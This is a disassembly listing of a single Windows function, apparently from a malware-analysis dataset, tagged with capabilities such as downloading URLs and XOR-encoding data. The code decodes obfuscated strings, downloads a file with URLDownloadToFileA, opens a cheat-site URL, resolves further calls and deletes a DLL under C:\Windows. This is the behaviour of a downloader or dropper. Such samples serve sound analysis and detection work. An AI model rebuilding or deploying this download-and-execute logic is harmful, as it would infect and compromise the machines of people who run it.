Function at 0x140001340
Capabilities:
Authenticate hmac
Create process on windows
Delete file
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rbp + 0x60], rax
movdqa xmm1, xmmword [0x140007510]
mov cl, 0x25
movd r11d, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x35
movzx r15d, cl
movdqa xmm1, xmmword [0x140007570]
movzx r13d, dl
xor byte [rsp + 0x32], r11b
xor cl, r11b
xor byte [rsp + 0x33], r11b
xor dl, r11b
xor byte [rsp + 0x34], r11b
xor r15b, r11b
xor byte [rsp + 0x35], r11b
xor r13b, r11b
xor byte [rsp + 0x36], r11b
mov r8b, 0x27
xor byte [rsp + 0x37], r11b
xor r8b, r11b
xor byte [rsp + 0x38], r11b
mov r9b, 0x23
xor byte [rsp + 0x39], r11b
xor r9b, r11b
xor byte [rsp + 0x3a], r11b
mov r10b, 0xd
xor byte [rsp + 0x3b], r11b
xor r10b, r11b
xor byte [rsp + 0x3c], r11b
mov bl, 0x12
xor byte [rsp + 0x3d], r11b
xor bl, r11b
xor byte [rsp + 0x3e], r11b
mov dil, 0x39
xor byte [rsp + 0x3f], r11b
xor dil, r11b
psrldq xmm0, 1
mov sil, 0x34
movd eax, xmm0
xor sil, r11b
movdqa xmm0, xmmword [0x140007560]
mov r14b, 0x30
movdqa xmmword [rsp + 0x70], xmm0
xor r14b, r11b
movdqa xmm0, xmmword [0x1400074d0]
xor al, r11b
mov byte [rsp + 0x31], al
mov r12b, 0x7f
movdqa xmmword [rbp - 0x80], xmm1
xor r12b, r11b
movdqa xmm1, xmmword [0x1400074c0]
mov al, 0x3d
xor al, r11b
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [0x1400074e0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [str.p_VRG]
mov byte [rsp + 0x4c], al
mov al, 0x3d
movdqa xmmword [rbp - 0x50], xmm0
xor al, r11b
movdqa xmm0, xmmword [0x140007490]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140007470]
mov byte [rsp + 0x4d], al
mov byte [rsp + 0x40], cl
mov byte [rsp + 0x41], dl
mov byte [rsp + 0x42], r8b
mov byte [rsp + 0x43], r9b
mov byte [rsp + 0x44], r10b
mov byte [rsp + 0x45], bl
mov byte [rsp + 0x46], dil
mov byte [rsp + 0x47], sil
mov byte [rsp + 0x48], r14b
mov byte [rsp + 0x49], r15b
mov byte [rsp + 0x4a], r12b
mov byte [rsp + 0x4b], r13b
mov byte [rsp + 0x4e], 0
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x140007460]
xor eax, eax
movdqa xmm1, xmmword [str.VUV_v]
xor esi, esi
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm0, xmmword [0x140007480]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmmword [rbp], xmm1
mov dword [rbp + 0x20], 0x7520651
mov word [rbp + 0x24], 0x1507
mov byte [rbp + 0x26], al
nop word [rax + rax]
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x71], cl
inc rax
cmp rax, 0xb5
jb 0x140001520
xor r9d, r9d
mov byte [rbp + 0x26], sil
lea r8, [rsp + 0x31]
mov qword [rsp + 0x20], rsi
lea rdx, [rsp + 0x71]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.https:__wflemnoscheat.site
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x34
mov byte [rsp + 0x58], 0x40
movzx edx, al
mov byte [rsp + 0x5f], sil
mov cl, 0x29
mov r8b, 0x2c
mov r9b, 0x25
mov r10b, 0x60
xor dl, 0x40
xor al, 0x40
xor cl, 0x40
mov byte [rsp + 0x5b], dl
xor r8b, 0x40
mov byte [rsp + 0x59], al
xor r9b, 0x40
mov byte [rsp + 0x5a], cl
xor r10b, 0x40
mov byte [rsp + 0x5c], r8b
mov byte [rsp + 0x5d], r9b
mov byte [rsp + 0x5e], r10b
call fcn.1400020e0
lea rcx, [rsp + 0x59]
call rax
call fcn.140002520
lea rdx, str.Russian
xor ecx, ecx
call rax
call fcn.140002960
lea rcx, [0x1400073c8]
call rax
movdqa xmm1, xmmword [0x1400075a0]
mov r8b, 0x66
movdqa xmm2, xmmword [0x140007580]
movdqa xmm0, xmm1
movd ecx, xmm1
mov dl, 0x16
movdqu xmmword [rbp + 0x38], xmm1
mov r9b, 0x60
movzx r10d, r8b
xor byte [rbp + 0x3a], cl
mov r11b, 0x3c
xor byte [rbp + 0x3b], cl
xor byte [rbp + 0x3c], cl
xor byte [rbp + 0x3d], cl
xor byte [rbp + 0x3e], cl
xor byte [rbp + 0x3f], cl
xor byte [rbp + 0x40], cl
xor byte [rbp + 0x41], cl
xor byte [rbp + 0x42], cl
xor byte [rbp + 0x43], cl
xor byte [rbp + 0x44], cl
xor byte [rbp + 0x45], cl
xor byte [rbp + 0x46], cl
xor byte [rbp + 0x47], cl
movdqu xmmword [rbp + 0x48], xmm2
xor byte [rbp + 0x49], cl
xor byte [rbp + 0x4a], cl
xor byte [rbp + 0x4b], cl
xor byte [rbp + 0x4c], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
mov byte [rbp + 0x39], al
movd eax, xmm2
xor al, cl
xor byte [rbp + 0x4d], cl
mov byte [rbp + 0x48], al
xor byte [rbp + 0x4e], cl
xor dl, cl
xor byte [rbp + 0x4f], cl
xor r8b, cl
xor byte [rbp + 0x50], cl
xor r9b, cl
xor byte [rbp + 0x51], cl
xor r10b, cl
xor byte [rbp + 0x52], cl
xor r11b, cl
xor byte [rbp + 0x53], cl
xor byte [rbp + 0x54], cl
xor byte [rbp + 0x55], cl
xor byte [rbp + 0x56], cl
xor byte [rbp + 0x57], cl
mov byte [rbp + 0x58], dl
mov byte [rbp + 0x59], r8b
mov byte [rbp + 0x5a], r9b
mov byte [rbp + 0x5b], r10b
mov byte [rbp + 0x5c], r11b
mov byte [rbp + 0x5d], sil
call fcn.140002960
lea rcx, [rbp + 0x39]
call rax
movdqa xmm1, xmmword [0x1400075d0]
mov dl, 0x34
movd ecx, xmm1
movzx r8d, dl
movdqu xmmword [rsp + 0x30], xmm1
movzx r9d, dl
mov byte [rsp + 0x44], sil
xor byte [rsp + 0x32], cl
movdqa xmm0, xmm1
xor byte [rsp + 0x33], cl
mov r10b, 0x10
xor byte [rsp + 0x34], cl
xor dl, cl
xor byte [rsp + 0x35], cl
xor r8b, cl
xor byte [rsp + 0x36], cl
xor r9b, cl
xor byte [rsp + 0x37], cl
xor r10b, cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x40], dl
mov byte [rsp + 0x41], r8b
xor al, cl
mov byte [rsp + 0x42], r9b
mov byte [rsp + 0x31], al
mov byte [rsp + 0x43], r10b
call fcn.140002960
lea rcx, [rsp + 0x31]
call rax
movdqa xmm1, xmmword [0x1400075e0]
mov dl, 0x72
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8b, 0x1d
psrldq xmm0, 1
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
movd eax, xmm0
xor al, cl
xor byte [rsp + 0x3a], cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x3b], cl
xor dl, cl
xor byte [rsp + 0x3c], cl
xor r8b, cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
mov byte [rsp + 0x40], dl
mov byte [rsp + 0x41], r8b
mov byte [rsp + 0x42], sil
call fcn.140002960
lea rcx, [rsp + 0x31]
call rax
movdqa xmm1, xmmword [str.__t._4_____m__a_G]
mov r8b, 0x25
movd ecx, xmm1
movzx r10d, r8b
movdqu xmmword [rsp + 0x30], xmm1
movzx ebx, r8b
mov byte [rsp + 0x47], sil
xor byte [rsp + 0x32], cl
movdqa xmm0, xmm1
xor byte [rsp + 0x33], cl
mov dl, 0x2d
xor byte [rsp + 0x34], cl
mov r9b, 0x6e
xor byte [rsp + 0x35], cl
mov r11b, 0x38
xor byte [rsp + 0x36], cl
xor dl, cl
xor byte [rsp + 0x37], cl
xor r8b, cl
xor byte [rsp + 0x38], cl
xor r9b, cl
xor byte [rsp + 0x39], cl
xor r10b, cl
xor byte [rsp + 0x3a], cl
xor r11b, cl
xor byte [rsp + 0x3b], cl
xor bl, cl
xor byte [rsp + 0x3c], cl
mov dil, 0x4a
xor byte [rsp + 0x3d], cl
xor dil, cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x40], dl
mov byte [rsp + 0x41], r8b
xor al, cl
mov byte [rsp + 0x42], r9b
mov byte [rsp + 0x31], al
mov byte [rsp + 0x43], r10b
mov byte [rsp + 0x44], r11b
mov byte [rsp + 0x45], bl
mov byte [rsp + 0x46], dil
call fcn.140002960
lea rcx, [rsp + 0x31]
call rax
movdqa xmm1, xmmword [0x140007500]
mov r8b, 0x2b
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov cl, 0x32
movzx r9d, r8b
psrldq xmm0, 1
mov r10b, 0x3e
xor byte [rsp + 0x32], dl
mov r11b, 0x4d
xor byte [rsp + 0x33], dl
xor byte [rsp + 0x34], dl
xor byte [rsp + 0x35], dl
xor byte [rsp + 0x36], dl
xor byte [rsp + 0x37], dl
xor byte [rsp + 0x38], dl
movd eax, xmm0
xor al, dl
xor byte [rsp + 0x39], dl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x3a], dl
xor cl, dl
xor byte [rsp + 0x3b], dl
xor r8b, dl
xor byte [rsp + 0x3c], dl
xor r9b, dl
xor byte [rsp + 0x3d], dl
xor r10b, dl
xor byte [rsp + 0x3e], dl
xor r11b, dl
xor byte [rsp + 0x3f], dl
mov byte [rsp + 0x40], cl
mov byte [rsp + 0x41], r8b
mov byte [rsp + 0x42], r9b
mov byte [rsp + 0x43], r10b
mov byte [rsp + 0x44], r11b
mov byte [rsp + 0x45], sil
call fcn.140002960
lea rcx, [rsp + 0x31]
call rax
call fcn.140002960
lea rcx, [0x1400073c8]
call rax
mov cl, 0x3d
mov byte [rsp + 0x58], 0x5c
movzx r9d, cl
mov al, 0xb
mov dl, 0x2e
mov r8b, 0x3a
mov r10b, 0x3f
mov r11b, 0x39
xor r9b, 0x5c
xor al, 0x5c
xor cl, 0x5c
mov byte [rsp + 0x5d], r9b
xor dl, 0x5c
mov byte [rsp + 0x59], al
xor r8b, 0x5c
mov byte [rsp + 0x5a], cl
xor r10b, 0x5c
mov byte [rsp + 0x5b], dl
xor r11b, 0x5c
mov byte [rsp + 0x5c], r8b
xor ebx, ebx
mov byte [rsp + 0x5e], r10b
mov byte [rsp + 0x5f], r11b
mov byte [rsp + 0x60], bl
call fcn.140002da0
lea rdx, [rsp + 0x59]
xor ecx, ecx
call rax
mov rbx, rax
test rax, rax
jne 0x140001aa3
movdqa xmm1, xmmword [0x140007610]
mov dl, 0x53
movdqu xmmword [rsp + 0x30], xmm1
movzx r8d, dl
mov byte [rsp + 0x6e], al
movzx r10d, dl
mov byte [rsp + 0x68], 0x21
xor dl, 0x21
mov byte [rsp + 0x45], sil
xor r8b, 0x21
mov byte [rsp + 0x6a], dl
xor r10b, 0x21
mov byte [rsp + 0x6b], r8b
mov cl, 0x64
mov byte [rsp + 0x6d], r10b
xor cl, 0x21
movdqa xmm0, xmm1
mov r9b, 0x4e
psrldq xmm0, 1
xor r9b, 0x21
mov byte [rsp + 0x69], cl
movd ecx, xmm1
mov dl, 0x16
mov byte [rsp + 0x6c], r9b
mov r8b, 0xde
movd eax, xmm0
mov r9b, 0xd5
xor byte [rsp + 0x32], cl
mov r10b, 0xc6
xor byte [rsp + 0x33], cl
mov r11b, 0xc5
xor byte [rsp + 0x34], cl
xor al, cl
xor byte [rsp + 0x35], cl
xor dl, cl
xor byte [rsp + 0x36], cl
xor r8b, cl
xor byte [rsp + 0x37], cl
xor r9b, cl
xor byte [rsp + 0x38], cl
xor r10b, cl
xor byte [rsp + 0x39], cl
xor r11b, cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
mov byte [rsp + 0x31], al
mov byte [rsp + 0x40], dl
mov byte [rsp + 0x41], r8b
mov byte [rsp + 0x42], r9b
mov byte [rsp + 0x43], r10b
mov byte [rsp + 0x44], r11b
call fcn.1400031e0
xor r9d, r9d
lea r8, [rsp + 0x69]
lea rdx, [rsp + 0x31]
xor ecx, ecx
call rax
call fcn.140003620
xor ecx, ecx
call rax
mov dword [rbp + 0x30], esi
call fcn.140003a60
lea rdx, [rbp + 0x30]
mov rcx, rbx
call rax
mov dword [rsp + 0x68], eax
test eax, eax
jne 0x140001bb8
movdqa xmm1, xmmword [0x140007600]
mov dl, 0x75
movdqu xmmword [rsp + 0x30], xmm1
movzx r8d, dl
mov byte [rsp + 0x58], 7
movzx r10d, dl
mov byte [rsp + 0x45], sil
xor eax, eax
xor dl, 7
xor r8b, 7
mov byte [rsp + 0x5e], al
xor r10b, 7
mov byte [rsp + 0x5a], dl
mov cl, 0x42
mov byte [rsp + 0x5b], r8b
xor cl, 7
mov byte [rsp + 0x5d], r10b
movdqa xmm0, xmm1
mov byte [rsp + 0x59], cl
movd ecx, xmm1
mov r9b, 0x68
xor r9b, 7
psrldq xmm0, 1
mov byte [rsp + 0x5c], r9b
mov dl, 0x1e
xor byte [rsp + 0x32], cl
mov r8b, 0xd6
xor byte [rsp + 0x33], cl
mov r9b, 0xdd
xor byte [rsp + 0x34], cl
mov r10b, 0xce
xor byte [rsp + 0x35], cl
mov r11b, 0xcd
xor byte [rsp + 0x36], cl
xor dl, cl
xor byte [rsp + 0x37], cl
xor r8b, cl
xor byte [rsp + 0x38], cl
xor r9b, cl
xor byte [rsp + 0x39], cl
xor r10b, cl
xor byte [rsp + 0x3a], cl
xor r11b, cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm0
mov byte [rsp + 0x40], dl
mov byte [rsp + 0x41], r8b
xor al, cl
mov byte [rsp + 0x42], r9b
mov byte [rsp + 0x31], al
mov byte [rsp + 0x43], r10b
mov byte [rsp + 0x44], r11b
call fcn.1400031e0
xor r9d, r9d
lea r8, [rsp + 0x59]
lea rdx, [rsp + 0x31]
xor ecx, ecx
call rax
call fcn.140003620
xor ecx, ecx
call rax
movdqa xmm1, xmmword [0x140007520]
mov cl, 0x30
movd r11d, xmm1
mov dl, 0x20
movdqu xmmword [rbp + 0x38], xmm1
movzx r15d, cl
mov byte [rbp + 0x56], 0
xor byte [rbp + 0x3a], r11b
movzx r13d, dl
xor byte [rbp + 0x3b], r11b
movdqa xmm0, xmm1
xor byte [rbp + 0x3c], r11b
mov r8b, 0x32
xor byte [rbp + 0x3d], r11b
mov r9b, 0x36
xor byte [rbp + 0x3e], r11b
mov r10b, 0x18
xor byte [rbp + 0x3f], r11b
xor cl, r11b
xor byte [rbp + 0x40], r11b
xor dl, r11b
xor byte [rbp + 0x41], r11b
xor r8b, r11b
xor byte [rbp + 0x42], r11b
xor r9b, r11b
xor byte [rbp + 0x43], r11b
xor r10b, r11b
xor byte [rbp + 0x44], r11b
xor r15b, r11b
xor byte [rbp + 0x45], r11b
xor r13b, r11b
xor byte [rbp + 0x46], r11b
mov bl, 7
xor byte [rbp + 0x47], r11b
xor bl, r11b
psrldq xmm0, 1
mov dil, 0x2c
movd eax, xmm0
xor dil, r11b
mov sil, 0x21
mov byte [rbp + 0x48], cl
xor sil, r11b
mov byte [rbp + 0x49], dl
xor al, r11b
mov byte [rbp + 0x4a], r8b
mov byte [rbp + 0x39], al
mov r14b, 0x25
mov al, 0x28
mov byte [rbp + 0x4b], r9b
xor al, r11b
mov byte [rbp + 0x4c], r10b
mov byte [rbp + 0x54], al
xor r14b, r11b
mov al, 0x28
mov byte [rbp + 0x4d], bl
xor al, r11b
mov byte [rbp + 0x4e], dil
mov r12b, 0x6a
mov byte [rbp + 0x55], al
xor r12b, r11b
mov byte [rbp + 0x4f], sil
mov byte [rbp + 0x50], r14b
mov byte [rbp + 0x51], r15b
mov byte [rbp + 0x52], r12b
mov byte [rbp + 0x53], r13b
call fcn.140003ea0
xor edx, edx
lea rcx, [rbp + 0x39]
lea r8d, [rdx + 1]
call rax
mov rsi, rax
test rax, rax
jne 0x140001d18
mov dl, 0x1f
mov byte [rsp + 0x58], 0x6d
movzx r8d, dl
mov byte [rsp + 0x5e], al
movzx r10d, dl
mov cl, 0x28
mov r9b, 2
xor r8b, 0x6d
xor r10b, 0x6d
mov byte [rsp + 0x5b], r8b
xor cl, 0x6d
mov byte [rsp + 0x5d], r10b
xor dl, 0x6d
mov byte [rsp + 0x59], cl
xor r9b, 0x6d
mov byte [rsp + 0x5a], dl
mov byte [rsp + 0x5c], r9b
call fcn.1400031e0
xor r9d, r9d
lea r8, [rsp + 0x59]
lea rdx, str.Internet_connection_error
xor ecx, ecx
call rax
call fcn.140003620
xor ecx, ecx
call rax
call fcn.1400042e0
mov rdi, rax
test rax, rax
jne 0x140001e3f
movdqa xmm1, xmmword [0x140007540]
mov dl, 0x6a
movdqa xmm2, xmmword [0x140007530]
mov cl, 0x5d
movdqu xmmword [rsp + 0x40], xmm2
mov byte [rsp + 0x5e], al
xor cl, 0x18
movdqu xmmword [rsp + 0x30], xmm1
movzx r8d, dl
mov byte [rsp + 0x59], cl
movd ecx, xmm1
movzx r10d, dl
movdqa xmm0, xmm1
mov byte [rsp + 0x58], 0x18
psrldq xmm0, 1
mov r9b, 0x77
xor byte [rsp + 0x32], cl
xor dl, 0x18
xor byte [rsp + 0x33], cl
xor r8b, 0x18
xor byte [rsp + 0x34], cl
xor r9b, 0x18
xor byte [rsp + 0x35], cl
xor r10b, 0x18
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm0
mov byte [rsp + 0x5a], dl
mov byte [rsp + 0x5b], r8b
xor al, cl
mov byte [rsp + 0x5c], r9b
mov byte [rsp + 0x31], al
movd eax, xmm2
mov byte [rsp + 0x5d], r10b
mov byte [rsp + 0x50], dil
xor al, cl
mov byte [rsp + 0x40], al
call fcn.1400031e0
xor r9d, r9d
lea r8, [rsp + 0x59]
lea rdx, [rsp + 0x31]
xor ecx, ecx
call rax
call fcn.140003620
xor ecx, ecx
call rax
call fcn.140004720
mov ebx, dword [rsp + 0x68]
mov r8, rsi
mov r9d, ebx
mov rdx, rdi
mov ecx, 3
call rax
test rax, rax
jne 0x140001f23
movdqa xmm1, xmmword [0x1400075f0]
mov cl, 0x20
movdqu xmmword [rsp + 0x30], xmm1
movzx edx, cl
mov byte [rsp + 0x58], 0x52
movzx r9d, cl
mov al, 0x17
xor al, 0x52
xor cl, 0x52
mov byte [rsp + 0x59], al
xor r10d, r10d
movdqa xmm0, xmm1
mov byte [rsp + 0x5a], cl
movd ecx, xmm1
mov r8b, 0x3d
psrldq xmm0, 1
xor dl, 0x52
movd eax, xmm0
xor r8b, 0x52
xor byte [rsp + 0x32], cl
xor r9b, 0x52
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor al, cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
mov byte [rsp + 0x31], al
mov byte [rsp + 0x5b], dl
mov byte [rsp + 0x5c], r8b
mov byte [rsp + 0x5d], r9b
mov byte [rsp + 0x5e], r10b
mov byte [rsp + 0x40], r10b
call fcn.1400031e0
xor r9d, r9d
lea r8, [rsp + 0x59]
lea rdx, [rsp + 0x31]
xor ecx, ecx
call rax
call fcn.140003620
xor ecx, ecx
call rax
call fcn.140004b60
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call rax
mov cl, 0x42
mov byte [rsp + 0x58], 0x2d
mov dl, 0xd
movzx r10d, cl
movzx esi, dl
mov bl, 0x48
mov al, 0x63
mov r8b, 0x4e
mov r9b, 0x41
mov r11b, 0x5e
movzx r15d, bl
xor r10b, 0x2d
xor al, 0x2d
mov byte [rsp + 0x5e], r10b
xor cl, 0x2d
mov byte [rsp + 0x59], al
xor dl, 0x2d
mov byte [rsp + 0x5a], cl
xor r8b, 0x2d
mov byte [rsp + 0x5b], dl
xor r9b, 0x2d
mov byte [rsp + 0x5c], r8b
xor r11b, 0x2d
mov byte [rsp + 0x5d], r9b
mov dil, 0x49
mov byte [rsp + 0x5f], r11b
mov r14b, 0x40
xor sil, 0x2d
xor r12d, r12d
mov byte [rsp + 0x62], sil
xor bl, 0x2d
mov byte [rsp + 0x65], r12b
xor dil, 0x2d
mov byte [rsp + 0x60], bl
xor r14b, 0x2d
mov byte [rsp + 0x61], dil
xor r15b, 0x2d
mov byte [rsp + 0x63], r14b
mov byte [rsp + 0x64], r15b
call fcn.140002960
lea rcx, [rsp + 0x59]
call rax
call fcn.1400020e0
lea rcx, str.pause___nul
call rax
movups xmm0, xmmword [str.C:Windows_bcastdvr_bsdsd3.dll]
mov eax, dword [0x140007418]
lea rcx, [rbp + 0x38]
mov dword [rbp + 0x50], eax
movzx eax, word [0x14000741c]
movups xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x54], ax
movsd xmm0, qword [0x140007410]
movzx eax, byte [0x14000741e]
movsd qword [rbp + 0x48], xmm0
mov byte [rbp + 0x56], al
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.1400051f0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret